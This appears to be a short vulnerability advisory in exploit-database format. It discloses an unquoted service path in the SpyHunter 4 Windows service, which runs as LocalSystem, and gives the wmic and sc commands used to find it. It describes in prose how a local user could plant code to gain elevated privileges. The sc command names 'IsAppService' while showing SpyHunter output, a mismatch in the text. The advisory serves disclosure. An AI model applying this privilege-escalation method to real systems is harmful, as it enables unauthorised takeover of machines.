# Exploit Title: SpyHunter 4 - 'SpyHunter 4 Service' Unquoted Service Path# Discovery by: Alejandro Reyes# Discovery Date: 2020-03-05# Vendor Homepage: https://www.enigmasoftware.com# Software Link : https://www.enigmasoftware.com/spyhunter-download-instructions/# Tested Version: 4# Vulnerability Type: Unquoted Service Path# Tested on OS: Windows 10 Home x64 # Step to discover Unquoted Service Path:
C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto"| findstr /i /v "C:\Windows\\"| findstr "SpyHunter"| findstr /i /v """
SpyHunter 4 ServiceSpyHunter 4 ServiceC:\Program Files\Enigma Software Group\SpyHunter\SH4Service.exe Auto
# Service info:
C:\>sc qc "IsAppService"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: SpyHunter 4 Service
TYPE : 10WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL: 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\Enigma Software Group\SpyHunter\SH4Service.exe
LOAD_ORDER_GROUP : Base
TAG: 0
DISPLAY_NAME : SpyHunter 4 Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
#Exploit:# A successful attempt would require the local user to be able to insert their code in the # system root path undetected by the OS or other security applications where it could # potentially be executed during application startup or reboot. If successful, the local # user's code would execute with the elevated privileges of the application.